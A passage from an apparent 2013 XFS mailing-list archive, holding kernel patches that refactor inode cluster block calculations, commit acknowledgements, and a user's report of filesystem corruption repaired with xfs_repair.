XFS_INODE_CLUSTER_SIZE(mp) ? - mp->m_sb.sb_inopblock : - (XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_inodelog); - nimask = ~(nicluster - 1); - nbcluster = nicluster >> mp->m_sb.sb_inopblog; + blks_per_cluster = xfs_ialloc_blks_per_cluster(mp); + ninodes = blks_per_cluster << mp->m_sb.sb_inopblog; irbuf = kmem_zalloc_greedy(&irbsize, PAGE_SIZE, PAGE_SIZE * 4); if (!irbuf) return ENOMEM; @@ -390,12 +386,12 @@ xfs_bulkstat( agbno = XFS_AGINO_TO_AGBNO(mp, r.ir_startino); for (chunkidx = 0; chunkidx < XFS_INODES_PER_CHUNK; - chunkidx += nicluster, - agbno += nbcluster) { - if (xfs_inobt_maskn(chunkidx, nicluster) + chunkidx += ninodes, + agbno += blks_per_cluster) { + if (xfs_inobt_maskn(chunkidx, ninodes) & ~r.ir_free) xfs_btree_reada_bufs(mp, agno, - agbno, nbcluster, + agbno, blks_per_cluster, &xfs_inode_buf_ops); } blk_finish_plug(&plug); -- 1.8.3.2 From jeff.liu@oracle.com Wed Dec 11 07:48:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 07C5029E23 for ; Wed, 11 Dec 2013 07:48:29 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CAB1C8F8066 for ; Wed, 11 Dec 2013 05:48:28 -0800 (PST) X-ASG-Debug-ID: 1386769707-04bdf013231afbf0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id u9mWqRA1qgaQSobH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 05:48:27 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBBDmQGH031399 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 11 Dec 2013 13:48:27 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBDmPBe028643 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 13:48:26 GMT Received: from abhmp0015.oracle.com (abhmp0015.oracle.com [141.146.116.21]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBDmPW9028630 for ; Wed, 11 Dec 2013 13:48:25 GMT Received: from [192.168.1.104] (/221.223.111.128) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 05:48:25 -0800 Message-ID: <52A86D24.8030801@oracle.com> Date: Wed, 11 Dec 2013 21:48:20 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 3/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_ialloc_inode_init Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 3/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_ialloc_inode_init Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386769707 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143013 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Use xfs_ialloc_blks_per_cluster() in xfs_ialloc_inode_init() Signed-off-by: Jie Liu --- fs/xfs/xfs_ialloc.c | 19 ++++++------------- 1 file changed, 6 insertions(+), 13 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index e87719c..30018f6 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -177,20 +177,13 @@ xfs_ialloc_inode_init( xfs_ino_t ino = 0; /* - * Loop over the new block(s), filling in the inodes. - * For small block sizes, manipulate the inodes in buffers - * which are multiples of the blocks size. + * Loop over the new block(s), filling in the inodes. For small block + * sizes, manipulate the inodes in buffers which are multiples of the + * blocks size. */ - if (mp->m_sb.sb_blocksize >= XFS_INODE_CLUSTER_SIZE(mp)) { - blks_per_cluster = 1; - nbufs = length; - ninodes = mp->m_sb.sb_inopblock; - } else { - blks_per_cluster = XFS_INODE_CLUSTER_SIZE(mp) / - mp->m_sb.sb_blocksize; - nbufs = length / blks_per_cluster; - ninodes = blks_per_cluster * mp->m_sb.sb_inopblock; - } + blks_per_cluster = xfs_ialloc_blks_per_cluster(mp); + ninodes = blks_per_cluster << mp->m_sb.sb_inopblog; + nbufs = length / blks_per_cluster; /* * Figure out what version number to use in the inodes we create. If -- 1.8.3.2 From jeff.liu@oracle.com Wed Dec 11 07:48:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2D94D29E28 for ; Wed, 11 Dec 2013 07:48:37 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1A4808F8066 for ; Wed, 11 Dec 2013 05:48:37 -0800 (PST) X-ASG-Debug-ID: 1386769716-04cbb041676aab80001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id GFvh0KL4zUWzl5Ab (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 05:48:36 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBBDmXic011783 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 11 Dec 2013 13:48:34 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBDmXHI023644 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 13:48:33 GMT Received: from abhmp0017.oracle.com (abhmp0017.oracle.com [141.146.116.23]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBDmWN5028913 for ; Wed, 11 Dec 2013 13:48:32 GMT Received: from [192.168.1.104] (/221.223.111.128) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 05:48:32 -0800 Message-ID: <52A86D2B.50409@oracle.com> Date: Wed, 11 Dec 2013 21:48:27 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 4/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_ifree_cluster Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 4/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_ifree_cluster Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386769716 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143014 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Use xfs_ialloc_blks_per_cluster() in xfs_ifree_cluster() Signed-off-by: Jie Liu --- fs/xfs/xfs_inode.c | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 001aa89..7e75b8e 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -2152,16 +2152,9 @@ xfs_ifree_cluster( struct xfs_perag *pag; pag = xfs_perag_get(mp, XFS_INO_TO_AGNO(mp, inum)); - if (mp->m_sb.sb_blocksize >= XFS_INODE_CLUSTER_SIZE(mp)) { - blks_per_cluster = 1; - ninodes = mp->m_sb.sb_inopblock; - nbufs = XFS_IALLOC_BLOCKS(mp); - } else { - blks_per_cluster = XFS_INODE_CLUSTER_SIZE(mp) / - mp->m_sb.sb_blocksize; - ninodes = blks_per_cluster * mp->m_sb.sb_inopblock; - nbufs = XFS_IALLOC_BLOCKS(mp) / blks_per_cluster; - } + blks_per_cluster = xfs_ialloc_blks_per_cluster(mp); + ninodes = blks_per_cluster << mp->m_sb.sb_inopblog; + nbufs = XFS_IALLOC_BLOCKS(mp) / blks_per_cluster; for (j = 0; j < nbufs; j++, inum += ninodes) { blkno = XFS_AGB_TO_DADDR(mp, XFS_INO_TO_AGNO(mp, inum), -- 1.8.3.2 From jeff.liu@oracle.com Wed Dec 11 07:48:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 94C5229E1C for ; Wed, 11 Dec 2013 07:48:47 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 81509304077 for ; Wed, 11 Dec 2013 05:48:44 -0800 (PST) X-ASG-Debug-ID: 1386769723-04cb6c537c6a22d0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id YW0Kt2vIBfu8ofeM (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 05:48:43 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBBDmgsb031690 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 11 Dec 2013 13:48:43 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBDmfm0024176 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 13:48:42 GMT Received: from abhmp0005.oracle.com (abhmp0005.oracle.com [141.146.116.11]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBDmfIC029473 for ; Wed, 11 Dec 2013 13:48:41 GMT Received: from [192.168.1.104] (/221.223.111.128) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 05:48:41 -0800 Message-ID: <52A86D33.2020102@oracle.com> Date: Wed, 11 Dec 2013 21:48:35 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 5/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_imap Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 5/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_imap Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386769723 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143014 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Use xfs_ialloc_blks_per_cluster() in xfs_imap(). Please note that we previously calculate the number of blocks per cluster without taking the situation of that the inode cluster size might be equal to or less than the SB blocksize into account. Maybe there is a chance to cause potential issues after handling an untrusted inode number lookup and proceed to check if the inode number maps to a block is outsides the file system bounds or not. Signed-off-by: Jie Liu --- fs/xfs/xfs_ialloc.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 30018f6..6c28820 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1377,8 +1377,7 @@ xfs_imap( return XFS_ERROR(EINVAL); } - blks_per_cluster = XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_blocklog; - + blks_per_cluster = xfs_ialloc_blks_per_cluster(mp); /* * For bulkstat and handle lookups, we have an untrusted inode number * that we have to verify is valid. We cannot do this just by reading @@ -1398,7 +1397,7 @@ xfs_imap( * If the inode cluster size is the same as the blocksize or * smaller we get to the buffer by simple arithmetics. */ - if (XFS_INODE_CLUSTER_SIZE(mp) <= mp->m_sb.sb_blocksize) { + if (blks_per_cluster == 1) { offset = XFS_INO_TO_OFFSET(mp, ino); ASSERT(offset < mp->m_sb.sb_inopblock); -- 1.8.3.2 From rjohnston@sgi.com Wed Dec 11 09:00:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3E5B2801C for ; Wed, 11 Dec 2013 09:00:21 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1EDAD30407E; Wed, 11 Dec 2013 07:00:18 -0800 (PST) Received: from [134.15.129.162] (134.15.129.162) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Wed, 11 Dec 2013 09:00:17 -0600 Message-ID: <52A87DFF.1090400@sgi.com> Date: Wed, 11 Dec 2013 09:00:15 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs_repair: suggest reboot after dangerous repair References: <52826206.3080106@redhat.com> In-Reply-To: <52826206.3080106@redhat.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.129.162] This has been committed. Thanks --Rich commit 3ae81520e91945454f35fa75833a45b5b000fe33 Author: Eric Sandeen Date: Tue Nov 12 17:14:46 2013 +0000 xfs_repair: suggest reboot after dangerous repair From rjohnston@sgi.com Wed Dec 11 09:01:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 67DEF801C for ; Wed, 11 Dec 2013 09:01:35 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4334130407E; Wed, 11 Dec 2013 07:01:32 -0800 (PST) Received: from [134.15.129.162] (134.15.129.162) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Wed, 11 Dec 2013 09:01:31 -0600 Message-ID: <52A87E49.1040402@sgi.com> Date: Wed, 11 Dec 2013 09:01:29 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Ben Myers , Subject: Re: [PATCH v2] xfs_repair: fix process_bmbt_reclist_int References: <20131210205352.GC1935@sgi.com> In-Reply-To: <20131210205352.GC1935@sgi.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.129.162] This has been committed. Thanks --Rich commit ea4a8de1e135905e240a54f192daf23275a7e8a8 Author: Ben Myers Date: Tue Dec 10 20:53:52 2013 +0000 xfs_repair: fix process_bmbt_reclist_int From rjohnston@sgi.com Wed Dec 11 09:11:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5F9BE29E18 for ; Wed, 11 Dec 2013 09:11:38 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay2.corp.sgi.com (Postfix) with ESMTP id 158D0304062; Wed, 11 Dec 2013 07:11:38 -0800 (PST) Received: from [134.15.129.162] (134.15.129.162) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Wed, 11 Dec 2013 09:11:37 -0600 Message-ID: <52A880A7.2000209@sgi.com> Date: Wed, 11 Dec 2013 09:11:35 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Stanislav Kholmanskikh , CC: , Subject: Re: [PATCH V2] generic: require filesize to be greater than fs block size in generic/240 References: <1386760888-30022-1-git-send-email-stanislav.kholmanskikh@oracle.com> In-Reply-To: <1386760888-30022-1-git-send-email-stanislav.kholmanskikh@oracle.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.129.162] This has been committed. Thanks --Rich commit 43fb49332d0f810c843dc01327b3ca203e997ae7 Author: Stanislav Kholmanskikh Date: Wed Dec 11 11:21:28 2013 +0000 generic: require filesize to be greater than fs block size in From tinguely@sgi.com Wed Dec 11 11:25:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7B9D37F3F for ; Wed, 11 Dec 2013 11:25:40 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id 390D0304043; Wed, 11 Dec 2013 09:25:37 -0800 (PST) Message-ID: <52A8A010.8070909@sgi.com> Date: Wed, 11 Dec 2013 11:25:36 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Christoph Hellwig CC: xfs@oss.sgi.com Subject: Re: [PATCH v3] xfs: free the efi AIL entry on log recovery failure References: <20131206212037.560711585@sgi.com> <20131208005224.696001432@sgi.com> <20131211113126.GA6248@infradead.org> In-Reply-To: <20131211113126.GA6248@infradead.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/11/13 05:31, Christoph Hellwig wrote: > Btw, I really think we need to get rid of abusing the AIL for > tracking EFIs during log recovery before looking at the various > leaks in this area. I've actually got a lightly tested patch for > that, but didn't make much progress on that series. If you have > and interest in that area and some spare QA cycles I'd recommend > to base this on the patch below: > > --- >> From b90935eaba9eb13c67101e5d723513bc6ca6e722 Mon Sep 17 00:00:00 2001 > From: Christoph Hellwig > Date: Sat, 23 Nov 2013 20:11:09 +0100 > Subject: [PATCH] xfs: simplify EFI/EFD recovery > > Use a cancellation table, similar to how we handle buffers instead of > abusing the AIL during recovery. > > Signed-off-by: Christoph Hellwig > --- > fs/xfs/xfs_extfree_item.c | 8 +- > fs/xfs/xfs_extfree_item.h | 6 -- > fs/xfs/xfs_log_priv.h | 1 + > fs/xfs/xfs_log_recover.c | 183 +++++++++++++-------------------------------- > 4 files changed, 56 insertions(+), 142 deletions(-) Good idea to remove EFI item recovery from the AIL. It may take some time before I get to it. --Mark. From davej@redhat.com Wed Dec 11 11:27:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CC4507F3F for ; Wed, 11 Dec 2013 11:27:39 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 56DB5AC006 for ; Wed, 11 Dec 2013 09:27:36 -0800 (PST) X-ASG-Debug-ID: 1386782855-04cbb041696b3680001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id QFzn1Vq4ClmGCdXr for ; Wed, 11 Dec 2013 09:27:35 -0800 (PST) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBBHRXju031250 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 11 Dec 2013 12:27:34 -0500 Received: from gelk.kernelslacker.org (ovpn-113-210.phx2.redhat.com [10.3.113.210]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id rBBHRSDd007524 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 12:27:33 -0500 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.7) with ESMTP id rBBHRRbn005181 for ; Wed, 11 Dec 2013 12:27:27 -0500 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id rBBHRPK7005180 for xfs@oss.sgi.com; Wed, 11 Dec 2013 12:27:25 -0500 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Wed, 11 Dec 2013 12:27:25 -0500 From: Dave Jones To: xfs@oss.sgi.com Subject: XFS: Internal error XFS_WANT_CORRUPTED_RETURN Message-ID: <20131211172725.GA4606@redhat.com> X-ASG-Orig-Subj: XFS: Internal error XFS_WANT_CORRUPTED_RETURN MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386782855 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Powered up my desktop this morning and noticed I couldn't cd into ~/Mail dmesg didn't look good. "XFS: Internal error XFS_WANT_CORRUPTED_RETURN" http://codemonkey.org.uk/junk/xfs-1.txt I rebooted into single user mode, and ran xfs_repair on /dev/sda3 (/home). It fixed up a bunch of stuff, but ended up eating ~/.procmailrc entirely (no sign of it in lost & found), and a bunch of filenames got garbled 'december' became 'decemcer' for eg. Looks like a couple kernel trees ended up in lost & found. After rebooting back into multi-user mode, I looked in dmesg again to be sure and this time sda2 was complaining.. http://codemonkey.org.uk/junk/xfs-2.txt Same drill, reboot, xfs_repair. Looks like a bunch of man pages ended up in lost & found. Thoughts ? Could sda be dying ? (It is a fairly old crappy ssd) Dave From lists@colorremedies.com Wed Dec 11 12:53:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3BD577F4E for ; Wed, 11 Dec 2013 12:53:01 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1A86B304075 for ; Wed, 11 Dec 2013 10:52:57 -0800 (PST) X-ASG-Debug-ID: 1386787975-04cbb041686b65b0001-NocioJ Received: from slmp-550-94.slc.westdc.net (slmp-550-94.slc.westdc.net [50.115.112.57]) by cuda.sgi.com with ESMTP id sxrk65BdWI2mjMVX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 10:52:55 -0800 (PST) X-Barracuda-Envelope-From: lists@colorremedies.com X-Barracuda-Apparent-Source-IP: 50.115.112.57 Received: from c-50-183-15-223.hsd1.co.comcast.net ([50.183.15.223]:56007 helo=[192.168.1.145]) by slmp-550-94.slc.westdc.net with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1Vqotw-001NQ5-GR; Wed, 11 Dec 2013 11:52:53 -0700 Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: XFS: Internal error XFS_WANT_CORRUPTED_RETURN From: Chris Murphy X-ASG-Orig-Subj: Re: XFS: Internal error XFS_WANT_CORRUPTED_RETURN In-Reply-To: <20131211172725.GA4606@redhat.com> Date: Wed, 11 Dec 2013 11:52:51 -0700 Cc: xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: <68DD7157-6ACE-4548-A466-C1EBD31B6DEB@colorremedies.com> References: <20131211172725.GA4606@redhat.com> To: Dave Jones X-Mailer: Apple Mail (2.1510) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - slmp-550-94.slc.westdc.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - colorremedies.com X-Get-Message-Sender-Via: slmp-550-94.slc.westdc.net: authenticated_id: whatever@colorremedies.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: slmp-550-94.slc.westdc.net[50.115.112.57] X-Barracuda-Start-Time: 1386787975 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 